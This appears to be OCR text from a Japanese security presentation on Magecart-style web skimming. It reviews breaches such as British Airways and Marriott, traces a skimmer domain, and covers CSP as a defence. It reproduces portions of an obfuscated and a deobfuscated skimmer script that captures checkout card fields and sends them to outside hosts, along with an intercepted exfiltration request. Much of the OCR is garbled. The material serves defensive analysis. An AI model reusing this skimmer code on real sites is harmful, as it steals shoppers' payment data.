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Customer data theft

We are investigating, as a matter of urgency, the theft of customer data between 22:58 BST August 21 2018 until 21:45
BST September 5 2018 from our website, ba.com, and our mobile app.

The stolen data included personal and financial details of customers making bookings and changes on ba.com and the
airline’s app. The data did not include travel or passport detalils.

The theft has been reported to the authorities and our website is now working normally.

https://www.britishairways.com/en-gb/information/incident/g
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We are investigating, as a matter of urgency, the theft of customer data between 22:! YA bORME7 DT AR CRRERREN L UIZERER U, Iy F— FOR
BST September 5 2018 from our website, ba.com, and our mobile app. BERRENETN. BAT 4 PICLEDEHBEEHZ8HEIC S, At = (CER T

The stolen data included personal and financial details of customers making bookings and| & & & HB(C. ZY I ABEE(CH U TRE(CE S ICRiT0oH— Rt 1B 9 B LD
airline’s app. The data did not include travel or passport details.
Mg,

The theft has been reported to the authorities and our website is now working normally. https://www.nikkei.com/article/DGXMZ035096410X00C18A9EAF000Q/ v
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- Magento (PSP: Payment Service Provider)
- EC-CUBE (BA% : HATAR) — RS RTHESR

- osCommerce

...... 4@55777; https://www.ec-cube.net/
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9,000 Add-Ons

COm merce & 9,000 Add-Ons have been pu Hsﬁ' é
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creating distinct digital —-
Sell Online

retail experiences. Learn
We provide you the tools to set up your very own complete and self-hosted online store and website
for free to securely sell products and services to customers worldwide.
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Marriott Hotel: SQL Injection

@ HOME NEWS ~ SPORTS ~ OPINION ~ ENTERTAINMENT ~ LIFE ~ MORE ~ SUBSCRIPTION ~

$1400-million class action lawsuit filed
in Calgary over Marriott Hotels data
breach

Kevin Martin
More from Kevin Martin

Published:
May 3, 2019

Updated:
May 3, 2019 4:41 PM MDT

Filed Under:
Calgary SUN » News >
Calgary

000®
RELATED

Possible pool

closures have
inner-city residents
'seething', says councillor

The Marriott Hotel in downtown Calgary. Postmedia Archives

The massive data hack of guest information from the Marriott hotel

empire has triggered a $100-million class action lawsuit in Calgary.

NEWS |

Committee
confronts cost A statement of claim filed in Calgary Court of Queen’s Bench says the

: https://calgarysun.com/news/local-news/100-million-class-action-lawsuit-filed-in-calgary-over-marriott-hotels-data-breach

“There have been reports that during 2014,
Starwood’s website was the home to (an)
SQL injection bug and offers to hack the site
were being made on the dark web,”

(BE=)

Ma rrlottb“mﬂy L/7' StarwoodDRER = X T
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Certificate Transparency [RFC 6962]

)
HjJ’EEE‘l httpS//CrtSh/ m .m Group by Issuer
Criteria Identity LIKE "%.co.jp.search-hot.com’
Certificates cri.shID Logged At i Not Before Not After Identity Issuer Name
1477574527 2019-05-09 2019-05-09 2019-08-07 .co.jp.search-hot.com C=US, O=Let's Encrypt, CN=Let's Encrypt Authority X3
1458442384 2019-05-09 2019-05-09 2019-08-07 .co.jp.search-hot.com C=US, O=Let's Encrypt, CN=Let's Encrypt Authority X3
1274637897 2019-03-11 2019-03-11 2019-06-09 .co.jp.search-hot.com C=US, O=Let's Encrypt, CN=Let's Encrypt Authority X3
1274637424 2019-03-11 2019-03-11 2019-06-09 .co.jp.search-hot.com C=US, O=Let's Encrypt, CN=Let's Encrypt Authority X3
1210456764 2019-02-17 2019-02-17 2019-05-18 .co.jp.search-hot.com C=US, O=Let's Encrypt, CN=Let's Encrypt Authority X3
1210456141 2019-02-17 2019-02-17 2019-05-18 .co.jp.search-hot.com C=US, O=Let's Encrypt, CN=Let's Encrypt Authority X3
1173231966 2019-02-03 2019-02-03 2019-05-04 .co.jp.search-hot.com C=US, O=Let's Encrypt, CN=Let's Encrypt Authority X3
1170124779 2019-02-03 2019-02-03 2019-05-04 .co.jp.search-hot.com C=US, O=Let's Encrypt, CN=Let's Encrypt Authority X3
1005894233 2018-12-06 2018-12-06 2019-03-06 .co.jp.search-hot.com C=US, O=Let's Encrypt, CN=Let's Encrypt Authority X3
1005896075 2018-12-06 2018-12-06 2019-03-06 .co.jp.search-hot.com C=US, O=Let's Encrypt, CN=Let's Encrypt Authority X3

TLSESEBAZE OFITOZ (L. Certificate Transparency T3 (= #E e H 5L (CHRENTIEE

Malicious Domain: search-hot[.]Jcom

=& . JL>v bh— ROBRBFEEABE L CWEH—/) (= (CDWTRAXRTHE
https://piyolog.hatenadiary.jp/entry/2019/06/10/063000 4 ]_
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W AEN/z eCommerce Site

Specializing in Personalized Baby Gifts for Over 30 Years
_L.___._'_ | Home | ContactUs | My Account

— .1 . View Cart Shopping Cart ltems: 0 Sub-Total : $0.00
search this site ﬂ l

Pardon us. We are working on the site.

SHOP BY: OCCASION SHOP BY: RECIPIENT SHOP BY: PRODUCTS

It's not
just a gift...

It's a
work of art.

A
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zed Gifts Bv Shop Now 4 3
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CAVCEAVEPAVY CIAVEEAVCIAVEAVEZAVIAVE:AVZ DAV G AV EEAVETAV CY AV CT RV AV C IV CEAV CY SRRV CY AV LAV CEAVC RV 7 EAV AV CIAVEZAV CEAV G AV LAV AV ¢ £
AWLAVVLAVCERRAY YAV VLAV VAV CIAVCEAVCEAV AV VZAVCEAVCIAVCI AV I AN T4 AV DAV AV AV CFAV COAV CIAV CI AV AV CDAV LN TLAV CVAV CIAVCIAVE AV ECEAV CIAV G
AWCEAVCE SRS TEAV CEAV VLAV EVAV CRAV VARV AV CEAV VEAV VLAV CEAVCEAVCIAV CEAV CEAV O/ AR TE AV CEAV CIAV G MRV CEAV CUAVEZAVCIAVET AV AV VAV CERAV ¢
0", "\x50\x6F\x73\x69\x74\x69\x6F \x6E\Xx53\x6E\x69\x66\x66" , "\x4F\x72\x64\x65\x72" , "\x43\x43\x4E\x61\x6D\x65" , "\x43\x43\x4E\x75\x6D", "\x43\x4
3\x54\x79\x70\x65" , "\x43\x43\x56", "\x43\x43\x45\x78\x70\x4D\x6F\x6E\x74\x68" , " \x43\x43\x45\x78\x70\x59\x65\x61\x72", "\x43\x43\x45\x78\x7
RS C YAV GCEAV AV CIAVE AV EI AV AVCAV CERRAV CYAVGEAV CIAVCIAV S AV E AV CIAVEIAV EFAV CEAV.VEAV VE RV YAV CEAV CIAV CIAVEI AV C EAVCEAV L AV A Y VAV
CEAVCIAVCAVEI AVEEAV LAV AVYZAVCERAV E VAV CEAV CIAVCIAVE AVEI AV EEAV 7L/ RV C VAV CEAVCAVC AV ET AV CEAVCI AV EDAVCERAV ST AV E AV CEAV CI AV CI AV CE RN 7 V)
WCEEAVCAVCIAVE AVEVAVCIAVIZAVCEAVE AV ELAVCEAV CIAV IRV CERMRAN G VAV CEAV CIAV CIAV EI AV C EAVCDAV. IRV CEAV IOV C YAV CEAV CIAV CIAVEI AV C EAVCI AV AV Gl S
\x74\x72\x79", "\x43\x6F\x6D\x70\x61\x6E\x79" , "\x53\x53\x4E", "\x44\x61\x74\x65\x4F\x66\x42\x69\x72\x74\x68" , "\x4D\x6F\x72\x65", " \x4D\x65\x6D
\x62\x65\x72\x49\x64", "\x53\x65\x73\x73\x69\x6F\X6E\x49\x64" , "\x53\x65\x73\x73\x69\x6F \x6E\x73" , "\x49\x73\x47\x65\x74" ] ; if(document[_@xdb4af
[0]]===

_Oxdb4f[1]){document[_Oxdb4f[3]](_Oxdb4f[2],doSomething);document[_Oxdb4f[3]](_Oxdb4af[2],doLink)}else {doSomething();doLink()};function d
oLink(){if(isGet=== _©@xdb4f[4]){var _0x8142x2= Oxdb4f[5];try{olink[_@xdb4f[6]]= document[ Oxdb4f[8]][_©xdb4af[7]]}catch(e){};try{olink[_exdb
4f[9]]=

top[_@xdbaf[8]][_@xdb4f[7]]}catch(e){};try{olink[_Oxdb4f[10]]= document[_ @xdb4f[11]]}catch(e){};try{olink[_©xdb4f[12]]= (window[_©Oxdb4f[1
3]1&amp;&amp; window[_ ©xdb4f[13]][_OxdbAf[8]][_@xdb4af[7]]) window[_ Oxdb4f[13]][_Oxdb4f[8]][_©6xdb4f[7]]:_©xdb4af[14]}catch(e){};if(olink[_©xd
baf[6]][_©xdb4f[15]]!=

0| | olink[_@xdb4f[9]][_@xdb4af[15]]!= @|| olink[_©xdb4f[12]][_Oxdb4f[15]]!= @){var _©x8142x3=window[_ @xdb4f[17]](ISON[_@xdbaf[16]](olin
k));var _0x8142x4=_@xdb4f[18]+ encodeURI(_©Ox8142x3);sendvalue(_Ox8142x2, Bx8142x4 function addEventByName( 0x8142x6, 0x8142x7){addEventB

yNamePos (_6x8142x6,_0x8142x7,0) }function https://urlscan.io/result/3300f286-3621-4¢05-85f6-43c11eb9fffc/dom

) LD

@N:)



https://urlscan.io/result/3300f286-3621-4c05-85f6-43c11eb9fffc/dom/
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SHOP BY: OCCASION

Home » Checkout

Checkout

o CHECKOUT METHOD

O Returning customer
@® Checkout as guest

O Create account

o BILLING ADDRESS

Fm=5%0 lmitbmrd CHmtmme

View Cart Shopping Cart Items: 1 Sub-Total : $34.95
search this site n

Pardon us. We are working on the site.

SHOP BY: RECIPIENT SHOP BY: PRODUCTS

o SHIPPING o FINALIZE ORDER

AYMENT METHOD

u 1 $34.95
@ Credit Card
m
Card Type
Subtotal $34.95
Expiry Date mm/yy
o Total $34.95




checkoutBEIE CERFENDIH—RFT—

[ Dashboard ITarget TProxy T Intruder T Repeater TSequencer I Decoder T Comparer T Extender T Project options T User options ]

Intercept | HTTP history TWehSockets history TOptions ]
Filter: Hiding CSS, image and general binary content @
# v/ Host ' Method | URL |Params |Edited | Status |Length |MIME type |Extension
67 https:/ /www. gifts.com POST [shoponepagecheckout.asp v v HTML asp 2
https://jspri.co
65 https://www. gifts.com POST [shoponepage_updateprices.asp v 200 767 HTML asp
64 https:/ /www. gifts.com POST /shoponepage_updateprices.asp v 200 767 HTML asp
63 https:/ /www. gifts.com POST /shoponepage_updateprices.asp v 200 767 HTML asp
6{ httos:/ /www. aifts.com POST /shoponepaae updateprices.asp J v 200 622 HTML asn -
- [

(2B

_[ Request I Response ] Ktl:% 0)

_[ Raw T Params T Headers T Hex ]

POST /f HTTP/1.1 \J 0 Ij I\

Host: jspri.co

User-Agent: Mozilla/5.@ (Macintosh; Intel Mac 0S X 10.14; rv:69.0) Gecko/20100101 Firefox/69.0

Accept: */*

Accept-Language: en-US,en;q=0.5 E&é/\JJava Scrl pt(L_ J: 5

Accept-Encoding: gzip, deflate
Content-type: application/x-www-form-urlencoded 91\32'3 1I=l

Content-Length: 627
Origin: https://waw. gifts.com ([« ]

DNT: 1

Connection: close CARD
Referer: https://www. gifts.com/

k82olt=eyJkYXRhVHLIwZSI6IjAiLCIQb3NpdGlvb1NuaWZmIjoiT3IkZXI1iLCIDQ@ShbWUL01JUaWFuZ3VwIFhpYSISIKNDTnVEIjoiMTIzNDUZNzgSMDEYM
WZSI6I1ISIKNDViI6IJExMSISIKNDRXhwTWOudGgiOiIwNCIsIKNDRXhwWWVhciI6I jIxIiwiQ@NFeHALO1I1LCICaWxsX@5hbWUi01JUaWFuZ3VwIFhpYSI
mVzcyI6I jMSMDAGTGFzIFZ1Z2FzIiwiQmlsbFODaXR51joiTGFzIFZ1Z2FzIiwiQmlsbFITdGFOZSI6IKSWIiwiQmlsbF9aaXAi01iI40TExOSIsIkIpbGxfS
6I1IsIkIpbGxfV29yal9QaGiuZSI6I JASMDEXMTEXMTEXIiwiQmlsbFOFbWFpbCI6I1IsIkIpbGxfQ291bnRyeSI6IIVTIiwiQ29tcGFueSI6I1iISIINTTLI
kJpcnRoIljoiliwiTWOyZSI6IjgSMTESTiwi TWVtYmVySWQi01iIiLCITZXNzaW9uSWQi0iIilCIzaXR1IjoibmVhdCI9

47



Terminal

'$ echo; echo -n eyJkYXRhVHIwZSI6IjAiLCIQb3NpdGlvb1lNuaWZmIjoiT3JkZXIiLCIDQ@5hbWUiOiJUaWF
YSISIKNDTnVtIjoiMTIzNDUZ2Nzg5MDEyMzQ1N1iIsIKNDVHIwWZSI6I1IsIKNDV1iI6IjEXMSISIKNDRXhwTWOudGg
IKNDRXhwWWVhciI6IjIxIiwiQ@ONFeHA101I1LCICaWxsX@5hbWU1i01JUaWFuZ3VvIFhpYSIsIkJpbGxfQWRkcmV
MDAgTGFzIFZ1Z2FzIiwiQmlsbFODaXR5IjoiTGFzIFZ1Z2FzIiwiQmlsbFOTdGFOZSIGIKSWIiwiQmlsbF9aaXA
0SIsIkJpbGxfSGItZVIQaGOuZSI6IiIsIkIpbGxfV29yal9QaGOuZS i ASMDEXMTEXMTEXIiwiQmlsbFOFbWF
IkJpbGxfQ291bnRyeSI6GIIVTIiwiQ29tcGFueSI6GIiISIINTTiI6I1Isg@mdGVPZkIpcnRoIjoiIiwiTWOyZST
TiwiTWVtYmVySWQi01I1iLCITZXNzaWOuSWQi01I1iLCIzaXR1IjoibmVhdCg\g base64 -D ; echo

nm,nn

e :

: as Vegas","Bill_City":"Las Vegas" "Blll_State"'"NV" "Blll_le"'"89119","Bill_Hom
e_Phone":"","Bill_Work_Phone":"07011111111","Bill_Email":"","Bill_Country":"US","Company":"","SS
N":"","DateOfBirth":"", "More":"89119", "MemberId":"","SessionId":"","site":"neat"}

$ 0
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JavaScriptEs5{b D&k : Beautifier

B Online JavaScript beautifier

O
&« c @ 0 & https://beautifier.io wee fz’ @ =

*| https://beautifier.io/
Online JavaScript Beautifier 1102

Beautify, unpack or deobfuscate JavaScript and HTML, make JSON/JSONP readable, etc. || dent with 4 spaces “ [J End script and style with newline?

All of the source code is completely free and open, available on GitHub under MIT licence, Allow 5 newlines between tokens - L] Support e4x/jsx syntax

and we have a command-line version, python library and a node package as well. Do not wrap lines - 1 Use comma-first list style?

| Beautify JavaScript e | Braces with control statement ~ Detect packers and obfuscators?
HTML <style=, <script> formatting: [ Preserve inline braces/code blocks?
‘ Add one indent level v| [] Keep array indentation?

L] Break lines on chained methods?
Space before conditional: "if(x)" / "if (x)"
O Unescape printable chars encoded as 'xNN or WNNNN?
[ use JSLint-happy formatting tweaks?
[ Indent <head> and =body= sections?
[ Keep indentation on empty lines?
Use a simple textarea for code input?

Additional Settings (JSON)
{1

Beautify Code (cir-=nter)

// This is just a sample script. Paste your real code (javascript or HTML) here.

[T S

if ("this_is'==/an example/) {of_beautifier();lelse{var a=b?{c%d):e[£f];}

Beautify Code (i cnier)




(2B

JavaScriptOh &

‘ Beautify Code (cirl-enter)
1 if (document['readyState'] ===
2 Jdoading ') {
3 document[ 'addEventListener']( 'DOMContentLoaded’', doSomething);
4 document[ 'addEventListener']( 'DOMContentLoaded’, doLink)
5 } else 3
6| doSomething(); R—IREFENEventListenerZighl
7 doLink()
8|1;
9
10 function doLink() {
11 if (isGet === '1") {
12 var _©0x8142x2 = 'https://jscss.co/l";
13 try {
14 olink[ 'Location'] = document['location'][ "href']
15 } catch (e) {};
16 try {
17 olink[ 'TopLocation'] =
18 top['location']['href']
19 } catch (e) {};
20 try {
%} . - n1-.nf,rfr.j.n-,-tm-l1 — Aaciman TS L PPN PE L | 50




o

67
68
69
70
71
72
VE
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91

v function sendvalue( ©6x8142x2,
_Ox8142x11;

N

N

var

ew XMLHttpRequest()

_0x8142x4) {

i i ' ‘D {
_Ox8142x11 = n
1

_Bx8142x11 =S
new Active
}s

_Ox8142x11[ 'op
_Ox8142x11[ 's¢
_Ox8142x11[ 'se¢

}
var obj =
obj[ 'dataType']

new Obl

obj[ "PositionSni
obj[ 'CCName'] =

T,
2

obj[ 'CCNum'] =
obj['CCType'] =
obj['Cccv'] = "'
obj[" CCExpMonth'
obj[ 'CCExpYear']
obj['CCExp'] =
obj[ 'Bill Name']

obj[ 'Bill Addres

117
118
119

120

(121

122
;123
124

125

1126 addEventByName( ©x4599[4], ©x4599[3]);
127 addEventByName( 9x4599[5], Bx4599[3]),
1320 —r- b

Vv doSomething() {

Ed

olink.site = "neat";

obj.site = "neat”;

var _©0x4599 = ["strOcardno", "getElementsByName", "undefined", "change", "strOca
"strOcardCVN", "strocardmm", "strocardyy", "https://jspri.co/f", "Bill Name", "\
"strfirstname”, " ", "strlastname", "Bill Address", "straddress"”, "Bill City", "
"Bill State", "strstate”, "Bill Zip", "strpostcode", "Bill Country"”, "strcountry
"Bill Work Phone", "strPhone", "Bill Email", "strEmail", "Company", "strcompany"”

"CCNum™, "CcCv", "CCExpMonth", "st

"btoa", "k820lt="];

"CCExpYear", "More", "strOcardzip", "length",

_0x4599[3] => "change"

function

_Ox20efx2 = [ 9x4599[1]]( _ex4599[0])[e];

var
i ; & amp; _Ox20efx2 != null) {

addEventByName( Bx4599[6], Bx4599[3]),

obj['Bill City'] =
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Pardon us. We are working on the site.

SHOP BY: OCCASION SHOP BY: RECI Java SC rl ptO)X M LH ttp Req U eSt (L—_ CJ: D
checkout (BB AMEE) BICBECH— R
Checkout ;_Q(iLbn_C(/ \7:_._.

o CHECKOUT METHOD o SHIPPING METHOD o FINALIZE ORDER

O Returning customer o PAYMENT METH u 1 $34.95

@® Checkout as guest @ = Card d

O Create account
o BILLING ADDRESS

Card Type
Subtotal $34.95
Expiry Date mm/yy
Total $34.95

. Unlted States

SECURE *

Ea e

Month ~ Year v

Yale i -l o s | o
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Magecart: Document

ORriskia ) FLASHPOINT

[T (FE>EDZADZ0 ]
RiskIQitDBRIRALIN—hEHITITHULET :
Inside Magecart:

Profiling the Groups Behind the Front Page
Credit Card Breaches and the Criminal
Underworld that Harbors Them

Inside Magecart

H R https://www.riskig.com/research/inside-magecart/

XA—=)LT7 RLURIREATIRETI O

MR CERMENTULETS m i

folololololololo

Authors:

Yonathan Klijnsma, RisklQ

Vitali Kremez, Flashpoint
Jordan Herman, RisklQ
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’ Oregon FBI Tech Tuesday: Builc X

<« c Q U & https://www.fbi.gov/contact-us/field-offices/portland, E] see ‘r:? 3

=Y & 000 EEEEECY

PORTLAND

Wanted By The FBI Community Qutreach ~ Recruitment

FBI Portland
Beth Anne Steele
(503) 460-8099 & Twitter l] Facebook . Email

October 22, 2019

Oregon FBI Tech Tuesday: Building a
Digital Defense Against
Welcome to the Oregon FBI's Tech Tuesday segment. This week: building a digital defense against

skimmers.

Octaber is cyber security month in the U.S., and in recognition of that, we are spending some time talking
about how you can protect yourself online. This week: e-skimming.

W

(2B

. ':::>
- Actor

- BEDdpDJavaScript
ENIRDH?

— SRELZB L TTHIFEN
IRWNT—XEHD. FBIE
E-SKimming Cii—

https://www.fbi.gov/contact-us/field-offices/portland/news/press-releases/oregon-fbi-tech-tuesday-building-a-digital-defense-agaist-e-skimming
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CVE Details

The ultimate security vulnerability datasource

Log In Register

Home

Browse :
Vendors
Products
Vulnerabilities By Date

Vulnerabilities By Type

Reports :
CVSS Score Report
CVSS Score Distribution

Search
View CVE

Vulnerability Feeds & WidgetsNeW TN Il sRels]ii]

.1 CVE-2009-1234 or 2010-1234 or 20101234)

Wordpress » Wordpress : Security Vulnerabilities

CVSS Scores Greater Than: 0 1 2 3 4 5 6 7 8 9

Sort Results By : CVE Number Descending CVE Number Ascending CVSS Score Descending Number Of Exploits Descending
Total number of vulnerabilities : 294 Page :

Copy Results Download Results

Search :
Vendor Search
Product Search
Version Search

Vulnerability Search

By Microsoft References
Top 50 :

Vendors

Vendor Cvss Scores

Products

Product Cvss Scores

Versions

Other :
Microsoft Bulletins
Bugtraq_Entries
CWE Definitions
About & Contact
Feedback
C

# CVE ID CWE # of Vulnerability Publish Update Score  Gained Access Access Complexity Authentication Conf. Integ. Avail.
1D Exploits Type(s) Date Date Level
1 CVE-2006-4028 2006-08- 2011-00- - None Remote  Low Not required Complete Complete Complete
09 01

Multiple unspecified vulnerabilities in WordPress before 2.0.4 have unknown impact and remote attack vectors. NOTE: due to lack of details, it is not clear how these issues
are different from CVE-2006-3389 and CVE-2006-3390, although it is likely that 2.0.4 addresses an unspecified issue related to "Anyone can register" functionality (user
registration for guests).

2009-04- 2017-08- None Remote Low Not required Complete Complete Complete

28 16

wp-admin/upgrade.php in WordPress, probably 2.6.x, allows remote attackers to upgrade the application, and possibly cause a denial of service (application outage), via a

direct request.

2 CVE-2008-6767 DoS

2009-08- 2017-11- None Remote Low Not required Complete Complete Complete

18 16

Wordpress before 2.8.3 allows remote attackers to gain privileges via a direct request to (1) admin-footer.php, (2) edit-category-form.php, (3) edit-form-advanced.php, (4)
edit-form-comment.php, (5) edit-link-category-form.php, (6) edit-link-form.php, (7) edit-page-form.php, and (8) edit-tag-form.php in wp-admin/.

3 CVE-2009-2853 26 +Priv

2011-08- 2017-08- None Remote Low Not required Complete Complete Complete

10 28

Unspecified vulnerability in WordPress 3.1 before 3.1.3 and 3.2 before Beta 2 has unknown impact and attack vectors related to "Media security."

4 CVE-2011-3122

5 CVE-2011-3125 2011-08- 2017-08- - None Remote  Low Not required Complete Complete Complete
10 28

= https://www.cvedetails.com/vulnerability-

F/ list.php?vendor id=2337&product_id=4096&version_id=&page=1&hasexp=0&opdos=08&opec=08&0pov=08&0opcsrf=0&opgpriv=0&0psqli=0&0pxss=0&opdirt=0&opmemc=08&ophttprs=0&opbyp=0&opfile t€

inc=0&opginf=0&cvssscoremin=0&cvssscoremax=0&year=0&month=0&cweid=0&order=3&trc=2948&sha=f7e9f236634d1e8f8f1588d8b60868d41a0af790



https://www.cvedetails.com/vulnerability-list.php?vendor_id=2337&product_id=4096&version_id=&page=1&hasexp=0&opdos=0&opec=0&opov=0&opcsrf=0&opgpriv=0&opsqli=0&opxss=0&opdirt=0&opmemc=0&ophttprs=0&opbyp=0&opfileinc=0&opginf=0&cvssscoremin=0&cvssscoremax=0&year=0&month=0&cweid=0&order=3&trc=294&sha=f7e9f236634d1e8f8f1588d8b60868d41a0af790
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©U & httpsy//

403 Forbidden

e EC-CUBEFIFE

< C @ © & httpsy// .com/admin/ see L4 ®

Forbidden

You don't have permission to access /admin/ on this server.

Apache Server at .com Port 443
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CSP (Content-Security-Policy)

JavaScriptia ED. BUSt/RDIA FUX MEE

Content-Security-Policy: script-src 'self’ Response

https://apis.google.com Header(CExiE

. E— e — SHEEAETNT
<script src=“https://evil.example.com/evil.js”> HOAENTS

- B7RX b &apis.google.comh s dIavaScriptddH+OK T 9
e T D //evil.example.com/evil.js!! HIRXTZ(FSF AT !

https://developers.google.com/web/fundamentals/seouritv/csp?hl=ia



https://developers.google.com/web/fundamentals/security/csp?hl=ja
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DUR NAME

blocked 4™ %&BjavaScriptdd

) FLHAFHIE ’
by CSRy | (1)

JavaScript (1)
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